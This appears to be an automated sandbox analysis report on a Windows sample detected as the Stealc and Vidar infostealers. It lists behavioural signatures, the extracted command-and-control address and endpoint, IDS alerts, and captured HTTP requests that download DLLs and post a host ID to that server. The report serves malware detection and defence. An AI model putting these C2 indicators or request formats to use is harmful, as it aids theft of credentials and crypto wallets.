Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1540245
MD5:	3a3583ca7503b6effbff20f498f3ebb4
SHA1:	43992582de1e5bd313cc56e303bf433feeddc6a3
SHA256:	078030ac66f4c1e89adb7143358b316e27dc10ea0abd5d5c7364fb6c2f0c8c3b
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7328 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3A3583CA7503B6EFFBFF20F498F3EBB4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1759914221.0000000005700000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.1000000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:09.008891+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:08.997555+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:09.288935+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:10.560349+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:09.296632+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:08.711240+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:11.119738+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:18.610412+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:19.881051+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:20.503242+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:20.996796+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:22.186615+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:22.616983+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP

Code function: 0_2_01005100 lstrlen,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_01005100

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKKHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 38 41 45 34 45 35 37 34 44 36 43 31 31 38 30 30 38 36 39 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="hwid"C8AE4E574D6C118008692------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="build"doma------GDBKKFHIEGDHJKECAAKK--

Source: file.exe, 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllG
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllm
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll5
Source: file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll563c6670f193.php5
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.0000000001896000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll5
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllS
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllz
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllK~
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllq~
Source: file.exe, 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllc
Source: file.exe, 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllg
Source: file.exe, 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllq
Source: file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php)
Source: file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php-
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php36
Source: file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php9
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpCoinomi
Source: file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpE
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpFirefox
Source: file.exe, 00000000.00000002.1993333489.0000000001893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpG
Source: file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpHJKJKKJDHIDHJKJDB
Source: file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpem
Source: file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpi
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpser
Source: file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpu
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpus.wallet
Source: file.exe, 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37n
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2013976066.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2005647981.000000001DE49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2013534711.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: HIIIDAKK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2010590258.0000000029D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp, AEGHJKJKKJDHIDHJKJDB.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2010590258.0000000029D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp, AEGHJKJKKJDHIDHJKJDB.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: HIIIDAKK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: HIIIDAKK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: HIIIDAKK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2010590258.0000000029D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp, AEGHJKJKKJDHIDHJKJDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2010590258.0000000029D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp, AEGHJKJKKJDHIDHJKJDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: HIIIDAKK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: HIIIDAKK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: HIIIDAKK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AEGHJKJKKJDHIDHJKJDB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: ECGDBAEHIJKKFHIEGCBGCAFIJJ.0.dr	String found in binary or memory: https://support.mozilla.org
Source: ECGDBAEHIJKKFHIEGCBGCAFIJJ.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: ECGDBAEHIJKKFHIEGCBGCAFIJJ.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, file.exe, 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1843850870.000000001DD4C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000003.1843850870.000000001DD4C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
